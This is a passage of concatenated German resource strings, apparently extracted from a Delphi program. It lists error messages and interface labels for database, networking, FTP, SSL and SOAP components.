benutzenBei Datenmengen oder -referenzen kann in die Datenmenge nicht zurückgeschrieben werdenBei Start &aktivierenBei TabPosition tpLeft und tpRight muß MultiLine True seinBei der Ausführung von %s ist ein Fehler aufgetretenBei der Initialisierung der Borland Database Engine ist ein Fehler aufgetreten (Fehler $%.4x)Bei einer geschlossenen Verbindung ist diese Operation nicht möglichBei einer geöffneten Verbindung ist diese Operation nicht möglichBei verschachtelten Datenmengen ist MasterSource nicht zulässigBei Überschreiten des &Maximums löschen:Beim Bearbeiten des Zertifikats ist ein Fehler aufgetreten.Beim Warten auf die AUsführung von %s ist eine Zeitüberschreitung aufgetretenBenutze count(*), um den Durchschnitt zu ermitteln (zählt Leerwerte)BenutzerBenutzer angemeldet, weiter.Benutzer nicht lokal, wird weitergeleitetBenutzer-ID nicht gefundenBenutzerdefinierter Variant-Typ ($%.4x) außerhalb des gültigen BereichsBenutzerdefinierter Variant-Typ ($%.4x) bereits benutzt von %sBenutzerdefinierter Variant-Typ ($%.4x) nicht brauchbarBenutzerdefinierter Variant-Typ (%s%.4x) außerhalb des gültigen BereichsBenutzerdefinierter Variant-Typ (%s%.4x) bereits benutzt von %sBenutzerdefinierter Variant-Typ (%s%.4x) nicht brauchbarBenutzerkonto für Anmeldung wird benötigt.Benutzerkonto für Speichern von Dateien wird benötigt.Benutzername OK, Passwort wird benötigt.Benutzername fehltBenutzername muss angegeben werdenBenutzername: Bereichsüberschreitung bei ZeilenindexBereit für den Start von TLSBestätigenBestätigungBezeichner erwartetBild &speichern...Bild kann nicht ersetzt werdenBild ladenBild speichern unterBild-EditorBildAbBildAufBildgröße und Bildlistengröße stimmen nicht übereinBildlaufleisteBind-Parameter können nicht geladen werdenBis zu %0:s
      Bis zu Stammverzeichnis
        Bitmap ist leerBitmap ist ungültigBitmapsBits-Index außerhalb des zulässigen BereichsBlob-Stream kann nicht gelesen werden.Blob-Stream kann nicht geschrieben werden.Borland Socket-ServerBotschaften auf BenutzerebeneBotschaften, die intern von syslogd generiert werdenBotschafts-Decoder nicht gefundenBotschafts-Encoder nicht gefundenBotschaftsbehandlung fehlgeschlagenBraunBrowseActionByte-Index außerhalb des gültigen Bereichs.ByteBool, WordBool und LongBool käönnen durch WebServices nicht dargestellt werden. Bitte verwenden Sie 'Boolean'CARDS.DLL kann nicht geladen werdenCCC kann nicht ohne unverschlüsselt gesetzt werden.CDAudioCHMOD Anweisung erfolgreich.COUNTALLCRC fehlgeschlagenCachedUpdates ist nicht aktiviertCancelEvents kann nicht aus einer OnEventAlert-Behandlungsroutine heraus aufgerufen werdenCelsiusCheckSynchronize wurde vom Thread $%x aufgerufen, der NICHT der Haupt-Thread ist.ChildName muss angegeben werdenChunk gestartetClient und Server können nicht kommunizieren, da sie keinen gemeinsamen Algorithmus besitzen.Client von TDrag wurde nicht initialisiertClient-Thread kann nicht angehalten werdenCloneConnection ungültig: verschiedene ClientDataSet-NachkommenCodeCommandText gibt keine Ergebnismenge zurückCompleteAuthToken nicht unterstütztContentModel nicht gesetztCremeCube MaximaCursor nicht aus Abfrage zurückgekehrtD&atenverknüpfungsdatei verwendenD&rucken...DATDAX-FehlerDCOM ist nicht installiertDDE-Fehler - Konversation konnte nicht etabliert werden ($0%x)DDE-Konversation konnte nicht verbunden werden.DOM-Implementation unterstützt nicht IDOMParseOptionsDOM-Implementierung "%s" bereits registriertDPB-Konstante (%d) ist unbekannt.DPB-Konstante (%s) ist unbekannt.DPB-Konstante (isc_dpb_%s) wird nicht unterstützt.Das Attribut ist bereits mit einem anderen Element verknüpftDas Datum unterschreitet das Minimum von %sDas Datum überschreitet das Maximum von %sDas Einlesen der Informationen über die Zeitzone ist fehlgeschlagen.Das Erscheinungsbild des Registers ist nicht mit der aktuellen Position kompatibel.Das Feld '%s' wurde nicht gefundenDas Feld konnte nicht entfernt werdenDas Fenster-Handle des OLE-Elements nicht verfügbarDas Füllen des Entscheidungswürfels wurde durch den Anwender unterbrochen.Das Konto %s ist deaktiviertDas Laden des Streams ist mißlungenDas Lesen von Count eines TComponentsEnumerator-Objekts wiurd nicht unterstütztDas Maximum an Ereignissen wurde überschrittenDas Netzwerk ist ausgefallen.Das Netzwerk ist nicht erreichbar.Das Netzwerk-Subsystem ist nicht verfügbar.Das Objekt ist nicht verfügbar: %sDas Protokoll hat für Socket den falschen Typ.Das Protokoll wird hier nicht unterstützt. Benutzen Sie %sDas Protokoll wird nicht unterstützt.Das Protokoll wird nicht unterstützt. Benutzen Sie Das Sicherheits-Package kann den Anmelde-Puffer nicht einrichten, deswegen ist der Versuch der Anmeldung fehlgeschlagenDas Sicherheits-Package konnte nicht initialisiert werden und kann nicht installiert werdenDas Speichern des Streams ist mißlungenDas angeforderte Sicherheits-Package existiert nichtDas angegebene Handle ist ungültigDas angegebene Verzeichnis existiert nicht. Soll es angelegt werden?Das angegebene Ziel ist unbekannt oder nicht erreichbarDas angegebene übergeordnete Element ist kein übergeordnetes Element von '%s'Das der Funktion übermittelte Token ist ungültigDas empfangene Zertifikat ist abgelaufen.Das erlaubte Maximum an Dimensionen (%d) wurde überschritten.Das erlaubte Maximum an Threads für diese Sitzung (scheduler) wurde überschritten.Das erlaubte Maximum an Zusammenfassungen (%d) wurde überschritten.Dat&enbank:DataPortProtection kann nicht gesetzt werden, solange die Verbindung unverschlüsselt erfolgt.DataPortProtection kann nicht nach einem CCC gesetzt werden.DataSet ist nilDataSet: %s ist nicht aktivDataSource kann nicht geändert werdenDatei "%s" kann nicht erstellt werden. %sDatei "%s" konnte nicht gefunden werdenDatei %s kann nicht erstellt werdenDatei %s kann nicht geöffnet werden. %sDatei kann nicht geöffnet werden: Dateiname für die Deinstallation ist nicht gesetztDateiname ist zu lang.Dateiname(n)Dateioperation erfolgreichDateistatus OK; Datenverbindung wird geöffnet.Dateistatus:Dateizugriff verweigertDaten aktualisierenDaten der Client-DatenmengeDaten und Zwischensummen anzeigenDatenanalyseDatenban&k:DatenbankDatenbank kann nicht gesetzt werden.Datenbank nicht zugewiesen.Datenbank-Handle gehört zu einer anderen SitzungDatenbank-ParameterDatenbank:Datenbankdateien sichernDatenbankdateien wiederherstellenDatenbindungen...Datendatei gespeichert in %sDatenmenge geschlossen.Datenmenge geöffnet.Datenmenge ist unidirektional.Datenmenge ist zu großDatenmengenfeld ist leerDatenmodifikation ist nicht zulässigDatenpaketDatensatz bearbeitenDatensatz einfügenDatensatz löschenDatensatz löschen?Datensatz nicht gefundenDatensatz nicht gefunden oder von einem anderen Benutzer geändertDatensatz nicht gefunden; es wurde kein Schlüssel angegebenDatensatz- oder Feldbedingung wurde geändert.Datenspeicher aufbauen...Datensätze können nicht zurückgeschrieben werden. Der Tabellenname wurde nicht gefunden.Datentyp String wird von Zusammenfassungen nicht unterstütztDatentyp von TypeKind: %s wird als Argument für Remote-Aufruf nicht unterstütztDatenverbindung besteht bereits; Transfer wird gestartet.Datenverbindung besteht bereits; kein Transfer läuft.Datenverbindung wird gerade aufgebaut für %s.Datenverbindung wird geschlossen.Datenverbindung wurde abnormal geschlossen.Datenwerte analysieren...DatenzugriffDatumDatum/UhrzeitDatumsbereich kann nur im Multiselect-Modus gebraucht werdenDebug: debug-level-BotschaftenDebugger für Web-AnwendungenDekadeDekagrammDekaliterDekameterDekasterDekompressionsfehlerDelphiException %sDemos-KoordinatorDer AUTH-Befehl oder der vorhandene SASL-Handler werden nicht unterstützt!!Der Abfrage fehlt eine Select/From-Klausel.Der Adresstyp wird nicht unterstützt.Der Anfangswert ist für diesen Gruppierungstyp nicht erlaubtDer Aufrufer ist nicht der Besitzer der gewünschten BeglaubigungDer Ausdruck ist kein Aggregat-AusdruckDer Befehl wird für diesen Parameter nicht unterstützt.Der Befehl zum Initialisieren der SSL-Verhandlung ist fehlgeschlagen.Der Befehlaustausch im Klartext ist nicht erlaubt.Der DNS-Server meldet einen Fehler beim Abfrage-ServerDer DNS-Server meldet einen Fehler im AbfrageformatDer DNS-Server meldet einen Fehler im AbfragenamenDer DNS-Server meldet einen Fehler, dass die Abfrage nicht implementiert istDer DNS-Server meldet einen Fehler, dass die Abfrage zurückgewiesen wurdeDer Dateiname kann nicht geändert werden, solange die Log-Datei geöffnet ist.Der Datenport kann nur von der gleichen IP-Adresse benutzt werden, die auch von der Kontrollverbindung eingesetzt wird.Der Datenschutz kann nicht bei einem 'Site to Site' Transfer benutzt werden.Der Drucker druckt aktuell nichtDer Eigenschaft Data Set wurde kein Wert zugewiesenDer Entscheidungswürfel kann nicht mit einer leeren Datenmenge erstellt werdenDer Entscheidungswürfel überschreitet seine KapazitätDer Ereignisliste des Event-Alerters wurde ein ungültiges leeres Ereignis hinzugefügtDer Gruppierungstyp entspricht nicht dem Feldtyp.Der Header wurde bereits geschrieben.Der Host ist ausgefallen.Der IOHandler ist vom falschen Typ.Der IOHandler kann nicht bei bestehende Verbindung geändert werden.Der IP-Brodcast hat den Fehlercode 0 zurückbekommen.Der Knoten ist im Besitz eines anderen DokumentsDer Kontext ist abgelaufen und kann nicht mehr verwendet werden.Der MX-Server zur Adresse %s ist nicht erreichbar.Der Mittelwert wird durch Ermittlung der Feldsumme und count(*) ermittelt. Die dazu notwendigen Zusammenfassungen wurden hinzugefügt.Der Mittelwert wird durch Ermittlung der Summe und der Anzahl für jedes Feld ermittelt. Die dazu notwendigen Zusammenfassungen wurden hinzugefügt.Der Modus wurde nicht gesetzt.Der Nachkomme von TStrings %s konnte den geerbten Konstruktor nicht aufrufenDer Name der Datenbank fehlt.Der Objektgenerator für die Klasse %s fehltDer Provider wurde nicht exportiert: %sDer Provider-Name '%s' wurde vom Server nicht erkanntDer Qualitätsschutz pro Botschaft wird vom Sicherheits-Package nicht unterstütztDer Registrierungsschlüssel %s kann nicht geöffnet werdenDer Schlüssel konnte nicht geladen werden; überprüfen Sie das Passwort.Der Server gab einen unbekannten Fehler zurückDer Server hat die Verbindung unterbrochen, wahrscheinlich aufgrund einer zu langen Inaktivität des Datenverkehrs.Der Server hat eine invalide Portnummer zurückgegeben (%s)Der Server ist ausgelastetDer Server kann in der ObjectManager-Liste nicht gefunden werdenDer Sicherheitscheck der Datenverbindung ist fehlgeschlagen. Der Server meldete sich unter IP: %s Port: %d Die eigene Socket-IP ist: %s Port: %dDer Sicherheitskontext erlaubt keine Darstellung des ClientDer Sicherheitskontext konnte nicht eingerichtet werden, da Qualität des Service fehlt (z.B. gegenseitige Authentifizierung oder Delegation).Der Socket-Server kann auf Win NT 3.51 und älter als Service ausgeführt werdenDer Socket-Server wird bereits ausgeführtDer Stack wurde bereits erzeugt.Der Stunden-Offset des Zeitwertes ist ungültigDer Typ von Feld '%s' wird nicht unterstütztDer Versuch der Anmeldung ist fehlgeschlagenDer Wert kann nicht als optionaler Parameter gespeichert werdenDer Ziel-Prinzipalname ist nicht korrekt.Der Zieldateiname darf nicht leer seinDer aktuelle UMASK ist %.3dDer ausgewählte Bereich des Kalenders kann nicht gesetzt werdenDer erforderliche PROT-Level wird hier nicht unterstützt.Der erwartete Rückgabewert wurde nicht empfangenDer gewählte DOM-Hersteller unterstützt diese Eigenschaft oder Methode nichtDer lokale Benutzer %s ist nicht bekannt. Versuchen Sie bitte <%s>Der max. Auswahlbereich konnte nicht gesetzt werdenDer max./min. Bereich des Kalenders konnte nicht gesetzt werdenDestinationDirectory nicht gesetztDetaildatensätze anzeigen...Detailtabelle kann nicht geöffnet werden, wenn die Haupttabelle geschlossen ist.DezDezemberDezigrammDeziliterDezimeterDezisterDiDie Abfrage ist gültig.Die Abfrage konnte nicht gestartet werden. Überprüfen Sie, ob Abfrage, SQL-Text und Datenbank korrekt sind.Die Abfrage wurde inkorrekt definiert oder die Felder der Abfrage müssen mit dem Editor für Entscheidungswürfel aktiven Dimensionen oder Zusammenfassungen zugewiesen werdenDie Adresse ist bereits in Gebrauch.Die Adressfamilie wird von der Protokollfamilie nicht unterstützt.Die Aktualisierung betrifft mehr als 1 Datensatz.Die Anforderung ist nicht 'live' - Änderung nicht möglich.Die Anforderung wurde zurückgewiesen, da das Client-Programm und identd verschiedene Anwender-IDs melden.Die Anforderung wurde zurückgewiesen, da der SOCKS-Server keine Verbindung herstellen konnte.Die Anlage %s ist gesperrt.Die Anmeldung war erfolgreichDie Anmeldung wurde durchgeführt, aber es war keine Netzwerk-Autorität verfügbar. Die Anmeldung wurde unter Verwendung lokal bekannter Informationen durchgeführtDie Anzahl erlaubter Anmeldeversuche wurde überschritten, goodbye.Die Anzahl fester Spalten muss kleiner sein als die SpaltenanzahlDie Anzahl fester Zeilen muss kleiner sein als die ZeilenanzahlDie Befehlübertragung im Klartext wurde aktiviert.Die Beglaubigungen aus dem Package wurden nicht erkanntDie Boxen-Mannschaft von IndyDie Datei ist beschädigt.Die Datenbank ist verbunden. Verbindung beenden und weitermachen?Die Datenmenge ist keine AbfrageDie Datenmenge unterstützt keine Positionsmarken, die von Multi-Datensatz-Elementen benötigt werden.Die Datenmenge wurde inkorrekt definiert oder die Felder müssen mit dem Editor für Entscheidungswürfel aktiven Dimensionen oder Zusammenfassungen zugewiesen werdenDie Dimensionstypen für diese Datenmenge können nicht automatisch festgelegt werden. Sie müssen diese Felder mit dem Editor für Entscheidungswürfel einer Dimension oder Zusammenfassung zuweisen.Die Eigenschaft AcceptWait kann nicht modifiziert werden, während der Server aktiv ist.Die Eigenschaft AutoSessionName kann nicht aktiviert werden, wenn sich mehr als eine Session in einem Formular oder einem Datenmodul befindenDie Eigenschaft ItemTag ist nicht initialisiertDie Eigenschaft Loop kann bei laufendem Thread nicht geändert werden.Die Eigenschaft ThreadName kann bei laufendem Thread nicht geändert werden.Die Eigenschaft kann nicht geändert werden, während die Aggregatfunktion aktiv istDie Eigenschaften Delimiter und QuoteChar dürfen nicht denselben Wert besitzenDie Einstellungen können nicht geändert werden, da noch aktive Verbindungen bestehen. Sollen diese Verbindungen abgebrochen werden?Die Felder '%s' und '%s' sind nicht zuweisungskompatibelDie Feldnamen für %s konnten nicht erkannt werdenDie Filter-Eigenschaft kann nicht bei Detail-Tabellen verwendet werdenDie Funktion wurde erfolgreich ausgeführt, aber CompleteToken als auch diese Funktion müssen aufgerufen werden, um den Kontext zu vervollständigenDie Funktion wurde erfolgreich ausgeführt, aber CompleteToken muss aufgerufen werdenDie Funktion wurde erfolgreich ausgeführt, muss aber zur Vervollständigung des Kontexts wieder aufgerufen werdenDie Gesamtanzahl an Zellen von %d überschreitet das Maximum von %d.Die Gruppierung nach Datum ist für diesen Feldtyp nicht erlaubtDie Gruppierungsebene ist nicht definiertDie Gruppierungsebene überschreitet die aktuelle Feldanzahl des IndexDie Größe der Dimensionszuweisung ist nicht korrektDie Größe des PBSZ Datenpuffer muß angegeben werden.Die Host-Eigenschaft kann nicht gesetzt werden. Sie wird dynamisch von IdDirectSMTP direkt ermittelt.Die IP-Version kann bei bestehende Verbindung nicht geändert werdenDie ImageList-Daten konnten nicht aus dem Stream gelesen werdenDie ImageList-Daten konnten nicht in den Stream geschrieben werdenDie Information für das Berechnen des Zellmaximums ist nicht mehr aktuell. Soll diese Information aktualisiert werden?Die InterBase-Installations-DLL ibinstall.dll wurde im Pfad nicht gefundenDie Interpretation der Botschaft ist nicht gelungenDie Isolationsebene für Transaktionen muss für lokale Datenbanken Dirty-Read sein.Die Jahreszahl im Datumswert ist zu groß für eine KonvertierungDie Kapazität darf nicht geringer als die Größe seinDie Kapazität des Entscheidungswürfels ist erschöpft. Deaktivieren Sie einige Dimensionen oder ändern Sie die Datenmenge.Die Komponente ist nicht mit einer offenen Datenbank verbundenDie Konstante ist nicht vom richtigen Typ %sDie Kontextdaten müssen mit dem Peer neu ausgehandelt werden.Die Konvertierung von Klasse %s zu SOAP wird nicht unterstützt - SOAP-Klassen müssen von TRemotable abgeleitet worden seinDie Liste der Verbindungsfähigkeiten folgtDie MasterSource-Eigenschaft von '%s' muss mit einer DataSource verbunden sein.Die Methode '%s' wird vom Automatisierungsobjekt nicht unterstütztDie Nachricht kann von der Datei %s nicht geladen werdenDie Nachrichtenlänge übersteigt die verwaltungstechnische ObergrenzeDie Operation kann keine Zusammenfassungswerte mit Datensatzwerten mischenDie Operation wird bei Socket nicht unterstützt.Die Operation wird bereits durchgeführt.Die Operation wird gerade durchgeführt.Die Operation wurde auf Anforderung des Anwenders abgebrochen.Die Operation würde blockieren. Die Position des Register ist nicht mit dem aktuellen Erscheinungsbild kompatibel.Die Protokollfamilie wird nicht unterstützt.Die Registrierung von Ereignissen bzw. deren Aufhebung kann nicht von innerhalb einer OnEventAlert-Behandlung vorgenommen werdenDie Request-Methode erfordert die Benutzung der HTTP Version 1.1Die SSL-Verbindung ging verloren.Die Schreibanforderung konnte nicht abgeschlossen werden, der Fortschritt wurde bei %d Byte angehaltenDie Serververbindung ist beim Senden einer Botschaft nicht ausfindig zu machenDie Sitzung (scheduler) kann nicht geändert werden, während der Server aktiv ist.Die Software hat den Abbruch der Verbindung verursacht.Die Stack-Klasse ist nicht definiert.Die Startposition des Puffers ist ungültig.Die String-Liste ist nicht initialisiert!Die String-Liste lässt keine Doppeleinträge zu.Die TLS-Verhandlung beginnt jetztDie Transaktion ist gescheitert.Die Transportprotokolle müssen identisch sein.Die URL muss folgende Form besitzen: "http://server.company.com/scripts/httpsrvr.dll"Die Uhrzeit auf Client und Server ist unterschiedlich.Die Variante ist leerDie Verbindung kann bei aktivem Monitor nicht geändert werdenDie Verbindung wird für /bin/ls im ASCII Mode umgeschaltet.Die Verbindung wird für die Dateiauflistung im ASCII Mode umgeschaltet.Die Verbindung wird für die Verzeichnisauflistung im ASCII Mode umgeschaltet.Die Verbindung wird geschlossen.Die Verbindung wird von der Regelmenge nicht zugelassen.Die Verbindung wurde erfolgreich geschlossen.Die Verbindung wurde explizit vom NNTP-Server abgelehnt.Die Verbindung wurde von Peer zurückgesetzt.Die Verzeichnisausgabe im MSDOS-Style ist %sDie Vorbereitung der Datensatzbedingung konnte nicht durchgeführt werden; Fehler '%s'Die Vorbereitung der Feldbedingung konnte nicht durchgeführt werden; Fehler '%s'Die Vorbereitung des Standardausdrucks konnte nicht durchgeführt werden; Fehler '%s'Die Zertifikatskette wurde von einer nicht vertrauenswürdigen Autorität ausgegeben.Die Zieldatei existiert bereits.Die angeforderte Adresse kann nicht zugewiesen werden.Die angeforderte Funktion wird nicht unterstütztDie angeforderte Information konnte nicht geladen werden.Die angegebenen Daten konnten nicht entschlüsselt werden.Die angegebenen Daten konnten nicht verschlüsselt werden.Die aufgeführten Beglaubigungen waren unvollständig und konnten nicht verifiziert werden. Der Kontext konnte nicht initialisiert werden.Die aufgeführten Beglaubigungen waren unvollständig und konnten nicht verifiziert werden. Zusatzinformationen können aus dem Kontext zurückgegeben werden.Die der Funktion mitgegebenen Puffer sind zu klein.Die eingegebene Abfrage ist ungültig. Sie muß geändert werden, bevor Sie weitermachen.Die empfangene Botschaft war nicht erwartet oder falsch formatiert.Die erfolderliche IP-Version / Adressenfamillie wird nicht unterstützt.Die folgende SITE-Anweisungen werden unterstützt: HELP DIRSTYLEDie lokale Sicherheitsautorität kann nicht kontaktiert werdenDie maximale Anzahl gleichzeitiger Verbindungen wurde überschritten. Versuchen Sie später noch erneutDie neuesten Aktualisierungen und Informationen finden Sie unter:Die von Ihnen erstellte Abfrage ist ungültig.Die zur Verifizierung übermittelte Botschaft ist außerhalb der SequenzDie zur Verifizierung übermittelte Botschaft oder Signatur wurde verändertDie Änderungen müssen vor der Aktualisierung der Daten übernommen werdenDie Änderungen werden erst nach Neustart des Socket-Server wirksamDie Übertragungsmodi müssen identisch sein.Die übermittelte Botschaft ist unvollständig. Die Signatur wurde nicht verifiziert.Die übermittelte IP-Adresse ist keine gültige Multicast-Adresse [224.0.0.0 bis 239.255.255.255].DienstagDiese Aktion kann nicht auf eine aktive Dimensionszuweisung angewendet werdenDiese Anforderung wurde von keiner entsprechenden Routine behandelt. Die WebAppComponents-Eigenschaft PageDispatcher, AdapterDispatcher oder DispatchActions sind u.U. nicht gesetzt.Diese Anwendung enthält noch aktive COM-Objekte.Mindestens ein Client verweist noch auf diese Objekte,so daß manuelles Schließen Diese Authentifizierungsmethode ist bereits mit Klassennamen %s registriert.Diese Eigenschaft akzeptiert keine negativen Werte.Diese Einstellung benötigt einen SSL IOHandlerDiese Operation ist bei einer sortierten String-Liste nicht erlaubt.Diese Operation ist bei einer unidirektionalen Datenemenge nicht gestattetDiese Operation kann auf eine aktive Sitzung nicht angewendet werdenDiese Operation wird nicht unterstützt.Diesen Wert untersuchenDieser Authentifizierungstyp ist nicht mit dem benutzten Protokoll kompatibel.Dieser Wert kann nicht bei bestehende Client-Verbindung gesetzt werden.Dieser Wert kann nicht geändert werden, während der Server aktiv ist.Dieses Element benötigt COMCTL32.DLL in der Version 4.70 oder höherDigitalVideoDimension öffnenDimensionseinstellungenDispatch-Methoden unterstützen maximal 64 Parameter.Dispatch-Schnittstelle der Klasse %s fehltDistributions-KoordinatorDivision durch NullDoDokumentationDokumentationskoordinatorDokumentelement %s:%s erwartet, %s:%s gefundenDollargrünDonnerstagDoppelparameter erwartetDoppelte CardId gefundenDoppelter AktionsnameDoppelter Datenbankname '%s'Doppelter Feldname '%s'Doppelter Indexname '%s'Doppelter Name '%s' in %sDoppelter Name für eine Sitzung: '%s'Doppelter PrototypnameDrachmeDrag und DropDrag, Drop und DockingDruckereinstellungenDruckerindex außerhalb des zulässigen BereichsDruckvorgang läuftDryBucketsDunkelblauDurchstreichenE&ntfernenE&rgebnisfeld:E&xplorerE&xternE-mail sendenE/A-Fehler %dEOF im Kommentar gefundenEOF im String gefundenEPSV ALL gesendet; Nur EPSV Verbindungen werden ab jetzt akzeptiertEditieren der SASL Liste für %sEditor für &Web-Seiten...Editor für ActiveX-DatenbindungEditor für BindungenEditor für EntscheidungsabfrageEditor für Entscheidungsabfrage...Editor für EntscheidungswürfelEditor für Entscheidungswürfel...Editor für TextkörperEigenschaft %s außerhalb des gültigen BereichsEigenschaft %s existiert nicht.Eigenschaft %s fehltEigenschaft '%s' in Komponente '%s' nicht gefundenEigenschaft '%s' wurde für Komponente '%s' nicht initialisiertEigenschaft DataSet fehltEigenschaft DataSetField fehltEigenschaft Database fehltEigenschaft DriverName fehltEigenschaft FileName darf nicht leer seinEigenschaft SQLConnection fehltEigenschaft Scrollbar außerhalb des zulässigen BereichsEigenschaft TableName fehltEigenschaft Visible kann in OnShow oder OnHide nicht verändert werdenEigenschaft bereits durch Lookup-Feld definiertEigenschaft kann nur gelesen werdenEigenschaft oder Methode "%s" wird von diesem DOM-Hersteller "%s" nicht unterstütztEigenschaft oder Methode ist nicht im Open XML Parser implementiertEigenschaftsfilter dürfen nur auf Name, Klasse oder Typ basieren (%d:%d)Ein Array von Feldwerten kann nicht mit auf Ausdrücken basierenden Indizes verwendet werdenEin Attribut namens %s wurde bereits registriertEin Aufruf einer Betriebssystemfunktion ist fehlgeschlagenEin Ausdruck kann nicht zum Gruppieren eines Feldes verwendet werdenEin Bild kann nur geändert werden, wenn es ein Bitmap enthältEin MDI-Kindformular kann nicht verborgen werdenEin Nicht-Select-Statement kann nicht "geöffnet" werden. Verwenden Sie ExecQuery.Ein Passwort wird benötigtEin STARTTLS muss vorerst erfolgreich abgehandelt worden sein.Ein Site to Site Austausch im NAT fastracked Modus ist nicht möglich.Ein Steuerelement kann nicht sich selbst als Vorfahr habenEin deaktiviertes oder unsichtbares Fenster kann nicht den Fokus erhaltenEin neuer Eintrag kann nicht erzeugt werdenEin oder mehrere Felder wurden aus der Abfrage entfernt, da sie nicht tabularisiert werden konnten.Ein schreibgeschützter Provider kann nicht aktualisiert werdenEinbezogene Seite %s nicht gefundenEine Botschaft sendenEine Datenmenge, die nur zum Lesen ist, kann nicht geändert werdenEine Puffer-Terminierung muss spezifiziert werden.Eine gemeinsame Transaktion kann nicht beendet werden, außer es wird erzwungen und ist gleich der TimeOutAction der Transaktion.Eine negative Stream-Größe ist ungültigEine unerwartete Botschaft kam bei einem Interface an, das nicht empfangsbereit ist.Eine ungerade Byte-Position ist für WideString nicht zulässigEine ungerade Größe ist für WideString nicht zulässigEinem Formular oder Datenmodul kann keine Session hinzugefügt werden, da Session '%s' AutoSessionName aktiviert hatEinfgEinfügenEinfügen|Inhalt der Zwischenablage einfügenEingabeEingabeaufforderungEins&tellungen:Einstellung für RasterdimensionEinstellungen konnten nicht gespeichert werdenEintrag %s darf nicht verschoben werdenEintrag hinzufügenEintrag kann nicht eingefügt werdenEintrag nicht gefunden ($0%x)ElementElement %s hat Unterelemente, trotzdem löschen?Element '%s' hat kein übergeordnetes FensterElement des Array-Typs %s hat kein RTTIElement enthält keinen einzelnen TextknotenElleEmpf Empfang von DatendateiEmpfang von Inhalt mit ungültigen Einstellungen für Inhaltstyp: %s - SOAP erwartet "text/xml"Empfang von SteuerungsdateiEmpfangenes Paket ist zu klein. Weniger als 12 Byte %dEmpfangenes Paket ist zu klein. Weniger als 4 Byte %dEndeEnde der Datei.Ende des StatusEnde des Streams: Klasse %s an %dEnde des erweiterten Modus.EntfEntfernenEntfernungEreignisEreignis OnDataAvailable ist nil.Ereignisse bereits registriertEreignisse müssen registriert werden, bevor sie in die Warteschlange gestellt werden könnenEreignisse werden nicht mit server-seitigen TableDirect-Cursorn unterstütztErfogreiche VerbindungErfolg.Erfolgreicher API-AufrufErforderliches '%s'-Symbol kann nicht analysiert werdenErforderliches '+' (oder '-') Symbol konnte nicht analysiert werdenErhaltenErhöhen umErl&aube XML-PaketeErlaubnis nicht erteilt.Erset&zenErsetzen|Angegebenen Text durch neuen Text ersetzenErst AcquireCredentialsHandleErstellen des Würfelindex für %s...Erster DatensatzErweiterte MetadateienErweiterter Modus:Erweiterung existiert bereitsErweiterung ist leerErzeugenErzeugung von Schlüssel %s misslungenEs gibt keinen installierten IOHandler dieses Typs.Es gibt momentan kein aktives Projekt.Es gibt schon eine Instanz des SQL-MonitorEs ist ein Paket für einen anderen Empfänger angekommenEs ist ein Script-Fehler aufgetreten. Möchten Sie ihn suchen?Es ist gerade eine Transaktion aktiv. Zurücksetzen und weitermachen?Es ist kein Pufferplatz verfügbar.Es ist kein Standard-Browser eingetragenEs ist keine Transaktion aktivEs ist keine themenbasierte Hilfe installiert.Es ist momentan kein Index aktivEs ist nur ein MDI-Formular pro Anwendung möglichEs kann kein Zeiger auf ein ausgeführtes Objekt geholt werden, daß mit OLE für %s/%s registriert istEs kann kein neuer Socket erzeugt werdenEs kann keine Verbindung hergestellt werden; %s muss eine gültige Objketablagen-ID enthaltenEs kann keine Verbindung hergestellt werden; %s muss einen gültigen Server-Namen oder eine ServerGUID enthaltenEs können keine Zeilen des Tabellengitters gelöscht oder eingefügt werdenEs können nur 15 Ereignisse pro Event-Alerter registriert werdenEs muß einen Thread für den Scheduler festgelegt werden.Es sind keine Dimensionsfelder definiert.Es sind keine Ereignisse registriertEs sind keine Installationsoptionen ausgewähltEs steht nicht genügend Speicher zur Verfügung, um eine Dimension zu laden.Es steht nicht genügend Speicher zur Verfügung, um eine Zusammenfassung zu laden.Es wird eine URL benötigtEs wurde die falsche Datenbank aktualisiert.Es wurde eine Botschaft empfangen, aber der Kommunikationsmodus ist unbekanntEs wurde erwartet, dass die Komponente zur Unterstützung von ValuesList IInterfaceComponentReference implementiertEs wurde kein Beglaubigungs-Handle geholtEs wurde kein Ereignis OnListDirectory gefunden!Es wurde kein Ereignis OnNewGroupsList definiert.Es wurde kein Ereignis OnNewNewsList definiert.Es wurde kein Ereignis OnXHDREntry definiert.Es wurde kein Ereignis OnXOVER definiert.Es wurde kein Handler für Anweisungen gefunden.Es wurde kein PSecPkgInfo angegebenEs wurde keine Ausführungsbehandlung gefunden.Es wurde keine Bindung angegeben.Es wurde keine OnGetItem-Ereignisbehandlung zugewiesenEs wurde keinen Stack zur Konvertierung dieses Datentyps angelegt.Es wurden keine Datenmodule registriertEs wurden keine Felder definiert. Datenmenge kann nicht erzeugt werdenEs wurden keine Schlüsselwörter für die Hilfe angegeben.Es wurden keine aktiven Zusammenfassungen definiert.Es wurden keine verfügbaren Dimensionen definiert.Es wurden nicht alle Bytes gesendet.Es wurden nicht alle Bytes vom Stream gelesen.Es wurden nicht genügend Bytes empfangenEs wurden zu viele benutzerdefinierte Variant-Typen registriertEscEsslöffel (Flüssigkeit)Exception %s in Modul %s bei %p. %s%s Exception in InterpretData: %sException in safecall-MethodeExistierende Komponenten löschen?Expandieren des Speicher-Stream wegen Speichermangel nicht möglichExterne AnmeldungF&eld zu SQL hinzufügenFEHLERFTP im impliziten Modus erfordert, daß der IOHandler einem TIdServerIOHandlerSSL entspricht.FTP-DaemonFacetten und Enumeration für diesen Datentyp "%s" nicht zulässigFahrenheitFalsche Adresse.Falsche AnforderungFalsche BefehlsequenzFalsche Dateinummer.Falsche Länge in empfangenem BlockFalsche Protokolloption.Falsche SOCKS-VersionFalsche Typinformation für Klasse %sFalscher SOCKS-BefehlFalscher SOCKS5-ATYPFalscher Variant-Typ %xFalsches GatewayFalsches Image-Format (%0:s) für Feld %1:sFalsches Protokoll. Benutzen Sie FarbenFe&ttFebFeheler in den Parameter von %sFehlende Abfrage, Tabellen- oder ProzedurnameFehlende Connection oder ConnectionStringFehlende ProgIDFehlende Typübereinstimmung im AusdruckFehlende Übereinstimmung bei TabellennamenFehlende Überinstimmung bei Spaltenlisten.Fehlender Daten-Provider oder DatenpaketFehlender Wert für Parameter '%s'Fehlendes Delta-PaketFehlendes FaultString- oder FaultCode-ElementFehler bei BereichsprüfungFehler bei Bereichsprüfung bei der Konvertierung von Variant von Typ (%s) zu Typ (%s)Fehler bei Bereichsprüfung für Variant des Typs (%s)Fehler bei Codeset-KonvertierungFehler bei DOMString-GrößeFehler bei Einfügen von 